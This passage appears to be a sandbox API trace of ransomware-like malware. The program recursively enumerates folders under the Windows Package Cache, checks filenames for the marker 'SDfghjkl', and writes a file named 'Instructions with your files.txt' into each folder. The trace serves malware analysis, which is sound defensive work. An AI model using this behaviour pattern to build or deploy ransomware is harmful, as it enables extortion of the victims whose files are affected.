[0131.995] CloseHandle (hObject=0x114) returned 1
[0131.995] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.995] GetProcessHeap () returned 0x810000
[0131.995] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.995] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb45406e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45406e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
[0131.995] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\Instructions with your files.txt") returned 110
[0131.995] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0131.996] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0131.996] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.997] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.997] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0131.997] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.997] CloseHandle (hObject=0x110) returned 1
[0131.997] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.997] GetProcessHeap () returned 0x810000
[0131.997] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.997] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb4566840, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4566840, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", cAlternateFileName="54050A~1")) returned 1
[0131.997] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned 77
[0131.997] GetProcessHeap () returned 0x810000
[0131.997] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.997] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\*") returned 79
[0131.997] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb4566840, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4566840, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.998] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\.") returned 79
[0131.998] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb4566840, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4566840, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.998] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\..") returned 80
[0131.998] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4566840, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb4566840, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4566840, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.998] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\Instructions with your files.txt") returned 110
[0131.998] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.998] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb4566840, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4566840, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
[0131.998] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages") returned 86
[0131.998] GetProcessHeap () returned 0x810000
[0131.998] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.998] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\*") returned 88
[0131.998] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb4566840, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4566840, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.998] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\.") returned 88
[0131.998] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb4566840, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4566840, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.998] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\..") returned 89
[0131.999] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4566840, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb4566840, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4566840, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.999] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Instructions with your files.txt") returned 119
[0131.999] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.999] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb4566840, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4566840, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 1
[0131.999] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch") returned 92
[0131.999] GetProcessHeap () returned 0x810000
[0131.999] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.999] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\*") returned 94
[0131.999] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb4566840, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4566840, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.999] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\.") returned 94
[0131.999] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb4566840, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4566840, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.999] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\..") returned 95
[0131.999] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4566840, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb4566840, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4566840, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.999] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\Instructions with your files.txt") returned 125
[0131.999] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.999] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb45406e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45406e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 1
[0131.999] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64") returned 96
[0131.999] GetProcessHeap () returned 0x810000
[0131.999] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f0058
[0131.999] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\*") returned 98
[0131.999] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb45406e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45406e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0131.999] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\.") returned 98
[0131.999] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb45406e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45406e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.999] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\..") returned 99
[0131.999] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb45406e0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb45406e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45406e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.999] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\Instructions with your files.txt") returned 129
[0132.000] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.000] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ab54b00, ftCreationTime.dwHighDateTime=0x1d1a02d, ftLastAccessTime.dwLowDateTime=0x9ab54b00, ftLastAccessTime.dwHighDateTime=0x1d1a02d, ftLastWriteTime.dwLowDateTime=0x9ab54b00, ftLastWriteTime.dwHighDateTime=0x1d1a02d, nFileSizeHigh=0x0, nFileSizeLow=0xfc93c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1
[0132.000] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu") returned 125
[0132.000] StrStrIW (lpFirst="Windows6.1-KB2999226-x64.msu", lpSrch="SDfghjkl") returned 0x0
[0132.000] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ab54b00, ftCreationTime.dwHighDateTime=0x1d1a02d, ftLastAccessTime.dwLowDateTime=0x9ab54b00, ftLastAccessTime.dwHighDateTime=0x1d1a02d, ftLastWriteTime.dwLowDateTime=0x9ab54b00, ftLastWriteTime.dwHighDateTime=0x1d1a02d, nFileSizeHigh=0x0, nFileSizeLow=0xfc93c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 0
[0132.000] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\Instructions with your files.txt") returned 129
[0132.000] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\x64\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0132.000] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0132.001] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0132.001] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0132.001] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0132.001] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0132.001] CloseHandle (hObject=0x11c) returned 1
[0132.001] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0132.001] GetProcessHeap () returned 0x810000
[0132.001] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f0058 | out: hHeap=0x810000) returned 1
[0132.001] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb45406e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45406e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0
[0132.001] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\Instructions with your files.txt") returned 125
[0132.001] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0132.002] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0132.003] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0132.003] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0132.003] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0132.003] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0132.003] CloseHandle (hObject=0x118) returned 1
[0132.003] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0132.003] GetProcessHeap () returned 0x810000
[0132.003] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0132.003] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb4566840, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4566840, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 0
[0132.003] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Instructions with your files.txt") returned 119
[0132.003] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0132.004] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0132.005] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
